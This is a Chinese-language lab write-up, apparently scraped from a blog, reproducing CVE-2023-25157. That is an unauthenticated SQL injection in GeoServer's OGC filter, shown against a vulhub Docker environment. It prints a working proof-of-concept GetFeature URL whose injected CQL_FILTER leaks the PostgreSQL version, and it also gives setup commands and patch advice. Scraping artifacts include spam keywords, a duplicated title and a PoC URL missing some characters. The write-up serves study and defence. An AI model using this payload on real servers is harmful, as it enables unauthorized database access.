凡科网 免费网站,上海网站设计案例,wordpress 如何设置首页,免费电视剧网站大全在线观看CVE-2023-25157#xff1a;GeoServer OGC Filter SQL注入漏洞复现
前言
本次测试仅供学习使用#xff0c;如若非法他用#xff0c;与本文作者无关#xff0c;需自行负责#xff01;#xff01;#xff01;
一.GeoServer简介
GeoServer 是用 Java 编写的开源软件服务…CVE-2023-25157GeoServer OGC Filter SQL注入漏洞复现
前言
本次测试仅供学习使用如若非法他用与本文作者无关需自行负责
一.GeoServer简介
GeoServer 是用 Java 编写的开源软件服务器它提供了查看、编辑和共享地理空间数据的功能。它旨在成为一种灵活、高效的解决方案用于分发来自各种来源如地理信息系统 GIS 数据库、基于 Web 的数据和个人数据集的地理空间数据。
二.漏洞简述
在 2.22.1 和 2.21.4 之前的版本中在开放地理空间联盟 OGC 标准定义的过滤器和函数表达式中发现了一个 SQL 注入问题未经身份验证的攻击者可以利用该漏洞进行SQL注入执行恶意代码。
三.漏洞原理
由于系统未对用户输入进行过滤远程未授权攻击者可以构造特定语句绕过GeoServer的词法解析从而实现SQL注入成功利用此漏洞可获取敏感信息甚至可能获取数据库服务器权限。由于GeoServer在默认配置下内置图层存放数据在文件中则未使用外置数据库的场景不受此漏洞影响。
四.影响版本
GeoServer 2.20.x 2.20.7
GeoServer 2.19.x 2.19.7
GeoServer 2.18.x 2.18.7
GeoServer 2.21.x 2.21.4
GeoServer 2.22.x 2.22.2五.环境搭建
在kali的docker中搭建vulhub进行漏洞复现 clone项目 sudo git clone https://github.com/vulhub/vulhub.git在/geoserver/CVE-2023-25157目录用下面的命令下载并启动:
sudo docker-compose up -d搞定查看环境
sudo docker-compose ps看到端口这里是8080。
在浏览器上访问http://your-ip:8080/geoserver
进入环境说明配置成功了接下来就可以开始愉快的漏洞复现了 此时复现的系统版本为2.22.1
六.漏洞复现
1.利用前提 首先在利用此漏洞之前您必须找到包含 PostGIS 数据存储的现有工作空间。Vulhub的GeoServer实例已经有一个PostGIS数据存储 工作区名称 vulhub数据存储名称 pg要素类型表名称 example要素类型的属性之一 name2.构造POC 通过以下简单 URL 利用服务器 POC
http://your-ip:8080/geoserver/ows?servicewfsversion1.0.0requestGetFeaturetypeNamevulhub:exampleCQL_FILTERstrStartsWith%28name%2C%27x%27%27%29%3Dtrueand1%3D%28SELECTCAST%28%28SELECTversion()%29ASinteger%29%29--%27%29%3Dtrue3.利用构造的POC发包 我们发现通过SQL注入从GeoServer检索到其数据库为PostgreSQL且版本为14.9
七.修复建议
目前官方已发布新版本修复了该漏洞可下载最新版本进行升级。 https://github.com/geoserver/geoserver/releases
缓解措施 禁用 PostGIS数据存储的encode函数。 启用 PostGIS 数据存储的preparedStatements设置。
八.参考
https://vulhub.org/#/environments/geoserver/CVE-2023-25157/ https://github.com/murataydemir/CVE-2023-25157-and-CVE-2023-25158